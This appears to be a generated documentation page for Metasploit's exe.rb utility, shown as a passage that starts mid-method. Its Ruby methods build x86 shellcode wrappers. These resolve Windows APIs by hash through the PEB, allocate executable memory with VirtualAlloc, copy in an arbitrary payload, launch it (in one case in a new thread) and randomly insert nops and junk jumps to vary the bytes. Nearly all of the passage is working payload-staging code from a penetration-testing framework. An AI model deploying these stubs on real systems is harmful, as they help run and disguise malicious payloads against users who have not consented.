    add eax, edx           ; Add the modules base address to get the functions actual VA
    ; We now fix up the stack and perform the call to the desired function...
  finish:
    mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
    pop ebx                ; Clear off the current modules hash
    pop ebx                ; Clear off the current position in the module list
    popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
    pop ecx                ; Pop off the origional return address our caller will have pushed
    pop edx                ; Pop off the hash value our caller will have pushed
    push ecx               ; Push back the correct return value
    jmp eax                ; Jump into the required function
    ; We now automagically return to the correct caller...
  get_next_mod:            ;
    pop eax                ; Pop off the current (now the previous) modules EAT
  get_next_mod1:           ;
    pop edi                ; Pop off the current (now the previous) modules hash
    pop edx                ; Restore our position in the module list
    mov edx, [edx]         ; Get the next module
    jmp next_mod           ; Process this module
  ^

  stub_exit = %Q^
  ; Input: EBP must be the address of 'api_call'.
  ; Output: None.
  ; Clobbers: EAX, EBX, (ESP will also be modified)
  ; Note: Execution is not expected to (successfully) continue past this block

  exitfunk:
    mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
    push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
    call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
    cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
    jl goodbye             ; Then just call the exit function...
    cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
    jne goodbye      ;
    mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
  goodbye:                 ; We now perform the actual call to the exit function
    push byte 0            ; push the exit function parameter
    push ebx               ; push the hash of the exit function
    call ebp               ; call EXITFUNK( 0 );
  ^

  stub_alloc = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
  delta:                   ;
  #{stub_block}
  start:                   ;
    pop ebp                ; Pop off the address of 'api_call' for calling later.

  allocate_size:
     mov esi, #{code.length}

  allocate:
    push byte 0x40         ; PAGE_EXECUTE_READWRITE
    push 0x1000            ; MEM_COMMIT
    push esi               ; Push the length value of the wrapped code block
    push byte 0            ; NULL as we dont care where the allocation is.
    push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    mov ebx, eax           ; Store allocated address in ebx
    mov edi, eax           ; Prepare EDI with the new address
    mov ecx, esi           ; Prepare ECX with the length of the code
    call get_payload
  got_payload:
    pop esi                ; Prepare ESI with the source to copy
    rep movsb              ; Copy the payload to RWX memory
    call set_handler       ; Configure error handling

  exitblock:
  #{stub_exit}
  set_handler:
    xor eax,eax
    push dword [fs:eax]
    mov dword [fs:eax], esp
    call ebx
    jmp exitblock
  ^

  stub_final = %Q^
  get_payload:
    call got_payload
  payload:
  ; Append an arbitrary payload here
  ^

  stub_alloc.gsub!('short', '')
  stub_alloc.gsub!('byte', '')

  wrapper = ""
  # regs    = %W{eax ebx ecx edx esi edi ebp}

  cnt_jmp = 0
  stub_alloc.each_line do |line|
    line.gsub!(/;.*/, '')
    line.strip!
    next if line.empty?

    if (rand(2) == 0)
      wrapper << "nop\n"
    end

    if(rand(2) == 0)
      wrapper << "jmp autojump#{cnt_jmp}\n"
      1.upto(rand(8)+8) do
        wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
      end
      wrapper << "autojump#{cnt_jmp}:\n"
      cnt_jmp += 1
    end
    wrapper << line + "\n"
  end

  wrapper << stub_final

  enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
  res = enc.data + code

  res
end

.win32_rwx_exec_thread(code, block_offset, which_offset = 'start') ⇒ Object

This wrapper is responsible for allocating RWX memory, copying the target code there, setting an exception handler that calls ExitProcess, starting the code in a new thread, and finally jumping back to the next code to execute. block_offset is the offset of the next code from the start of this code


1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
# File 'lib/msf/util/exe.rb', line 1429

def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')

  stub_block = %Q^
  ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
  ; Output: The return value from the API call will be in EAX.
  ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
  ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
  ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
  ; Note: This function is unable to call forwarded exports.

  api_call:
    pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
    mov ebp, esp           ; Create a new stack frame
    xor edx, edx           ; Zero EDX
    mov edx, [fs:edx+48]   ; Get a pointer to the PEB
    mov edx, [edx+12]      ; Get PEB->Ldr
    mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
  next_mod:                ;
    mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
    movzx ecx, word [edx+38] ; Set ECX to the length we want to check
    xor edi, edi           ; Clear EDI which will store the hash of the module name
  loop_modname:            ;
    xor eax, eax           ; Clear EAX
    lodsb                  ; Read in the next byte of the name
    cmp al, 'a'            ; Some versions of Windows use lower case module names
    jl not_lowercase       ;
    sub al, 0x20           ; If so normalise to uppercase
  not_lowercase:           ;
    ror edi, 13            ; Rotate right our hash value
    add edi, eax           ; Add the next byte of the name
    loop loop_modname      ; Loop until we have read enough
    ; We now have the module hash computed
    push edx               ; Save the current position in the module list for later
    push edi               ; Save the current module hash for later
    ; Proceed to iterate the export address table,
    mov edx, [edx+16]      ; Get this modules base address
    mov eax, [edx+60]      ; Get PE header
    add eax, edx           ; Add the modules base address
    mov eax, [eax+120]     ; Get export tables RVA
    test eax, eax          ; Test if no export address table is present
    jz get_next_mod1       ; If no EAT present, process the next module
    add eax, edx           ; Add the modules base address
    push eax               ; Save the current modules EAT
    mov ecx, [eax+24]      ; Get the number of function names
    mov ebx, [eax+32]      ; Get the rva of the function names
    add ebx, edx           ; Add the modules base address
    ; Computing the module hash + function hash
  get_next_func:           ;
    jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
    dec ecx                ; Decrement the function name counter
    mov esi, [ebx+ecx*4]   ; Get rva of next module name
    add esi, edx           ; Add the modules base address
    xor edi, edi           ; Clear EDI which will store the hash of the function name
    ; And compare it to the one we want
  loop_funcname:           ;
    xor eax, eax           ; Clear EAX
    lodsb                  ; Read in the next byte of the ASCII function name
    ror edi, 13            ; Rotate right our hash value
    add edi, eax           ; Add the next byte of the name
    cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
    jne loop_funcname      ; If we have not reached the null terminator, continue
    add edi, [ebp-8]       ; Add the current module hash to the function hash
    cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
    jnz get_next_func      ; Go compute the next function hash if we have not found it
    ; If found, fix up stack, call the function and then value else compute the next one...
    pop eax                ; Restore the current modules EAT
    mov ebx, [eax+36]      ; Get the ordinal table rva
    add ebx, edx           ; Add the modules base address
    mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
    mov ebx, [eax+28]      ; Get the function addresses table rva
    add ebx, edx           ; Add the modules base address
    mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
    add eax, edx           ; Add the modules base address to get the functions actual VA
    ; We now fix up the stack and perform the call to the desired function...
  finish:
    mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
    pop ebx                ; Clear off the current modules hash
    pop ebx                ; Clear off the current position in the module list
    popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
    pop ecx                ; Pop off the origional return address our caller will have pushed
    pop edx                ; Pop off the hash value our caller will have pushed
    push ecx               ; Push back the correct return value
    jmp eax                ; Jump into the required function
    ; We now automagically return to the correct caller...
  get_next_mod:            ;
    pop eax                ; Pop off the current (now the previous) modules EAT
  get_next_mod1:           ;
    pop edi                ; Pop off the current (now the previous) modules hash
    pop edx                ; Restore our position in the module list
    mov edx, [edx]         ; Get the next module
    jmp next_mod           ; Process this module
  ^

  stub_exit = %Q^
  ; Input: EBP must be the address of 'api_call'.
  ; Output: None.
  ; Clobbers: EAX, EBX, (ESP will also be modified)
  ; Note: Execution is not expected to (successfully) continue past this block

  exitfunk:
    mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
    push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
    call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
    cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
    jl goodbye       ; Then just call the exit function...
    cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
    jne goodbye      ;
    mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
  goodbye:                 ; We now perform the actual call to the exit function
    push byte 0            ; push the exit function parameter
    push ebx               ; push the hash of the exit function
    call ebp               ; call EXITFUNK( 0 );
  ^

  stub_alloc = %Q^
    pushad                 ; Save registers
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
  delta:                   ;
  #{stub_block}
  start:                   ;
    pop ebp                ; Pop off the address of 'api_call' for calling later.

  allocate_size:
     mov esi,#{code.length}

  allocate:
    push byte 0x40         ; PAGE_EXECUTE_READWRITE
    push 0x1000            ; MEM_COMMIT
    push esi               ; Push the length value of the wrapped code block
    push byte 0            ; NULL as we dont care where the allocation is.
    push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    mov ebx, eax           ; Store allocated address in ebx
    mov edi, eax           ; Prepare EDI with the new address
    mov ecx, esi           ; Prepare ECX with the length of the code
    call get_payload
  got_payload:
    pop esi                ; Prepare ESI with the source to copy
    rep movsb              ; Copy the payload to RWX memory
    call set_handler       ; Configure error handling

  exitblock:
  #{stub_exit}

  set_handler:
    xor eax,eax
;		  push dword [fs:eax]
;		  mov dword [fs:eax], esp
    push eax               ; LPDWORD lpThreadId (NULL)
    push eax               ; DWORD dwCreationFlags (0)
    push eax               ; LPVOID lpParameter (NULL)
    push ebx               ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
    push eax               ; SIZE_T dwStackSize (0 for default)
    push eax               ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
    push 0x160D6838        ; hash( "kernel32.dll", "CreateThread" )
    call ebp               ; Spawn payload thread

    pop eax                ; Skip
;		  pop eax                ; Skip
    pop eax                ; Skip
    popad                  ; Get our registers back
;		  sub esp, 44             ; Move stack pointer back past the handler
  ^

  stub_final = %Q^
  get_payload:
    call got_payload
  payload:
  ; Append an arbitrary payload here
  ^


  stub_alloc.gsub!('short', '')
  stub_alloc.gsub!('byte', '')

  wrapper = ""
  # regs    = %W{eax ebx ecx edx esi edi ebp}

  cnt_jmp = 0
  cnt_nop = 64

  stub_alloc.each_line do |line|
    line.gsub!(/;.*/, '')
    line.strip!
    next if line.empty?

    if (cnt_nop > 0 and rand(4) == 0)
      wrapper << "nop\n"
      cnt_nop -= 1
    end

    if(cnt_nop > 0 and rand(16) == 0)
      cnt_nop -= 2
      cnt_jmp += 1

      wrapper << "jmp autojump#{cnt_jmp}\n"
      1.upto(rand(8)+1) do
        wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
        cnt_nop -= 1
      end
      wrapper << "autojump#{cnt_jmp}:\n"
    end
    wrapper << line + "\n"
  end

  #someone who knows how to use metasm please explain the right way to do this.
  wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
  wrapper << stub_final

  enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
  soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
  res = enc.data + code

  if which_offset == 'start'
    res[soff,4] = [block_offset - (soff + 4)].pack('V')
  elsif which_offset == 'end'
    res[soff,4] = [res.length - (soff + 4) + block_offset].pack('V')
  else
    raise RuntimeError, 'Blast! Msf::Util::EXE.rwx_exec_thread called with invalid offset!'
  end
  res
end